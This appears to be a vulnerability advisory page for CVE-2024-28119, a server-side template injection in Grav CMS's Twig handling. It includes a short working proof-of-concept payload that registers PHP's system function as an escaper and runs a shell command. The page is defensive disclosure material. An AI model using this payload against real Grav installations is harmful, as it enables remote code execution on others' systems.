🛡️ CVE-2024-28119 — grav
Description
Server Side Template Injection (SSTI) via Twig escape handler
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
```php
/**
- Defines a new escaper to be used via the escape filter.
*
- @param string $strategy The strategy name that should be used as a strategy in the escape call
- @param callable $callable A valid PHP callable
*/
public function setEscaper($strategy, callable $callable)
{
$this->escapers[$strategy] = $callable;
}
```
Twig supports the functionality to redefine the escape function through the setEscaper method.
However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
```plaintext
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}
```
At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC
```
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}
```
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2024-28119 is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.
Affected software
CVE-2024-28119 is recorded against 2 packages.
- getgrav/grav (fixed in 1.7.45)
- grav (fixed in 1.7.45)
Timeline and source
Published on 22 March 2024 and last revised on 3 January 2025. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| getgrav/grav | — | 1.7.45 |
| grav | — | 1.7.45 |
References
Similar Threats
- High CVE-2024-27921
- Medium CVE-2023-31506
- High CVE-2023-37897
- High CVE-2023-34252
- Critical CVE-2023-34251
Site Security Check
Is grav part of your stack?
CVE-2024-28119 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.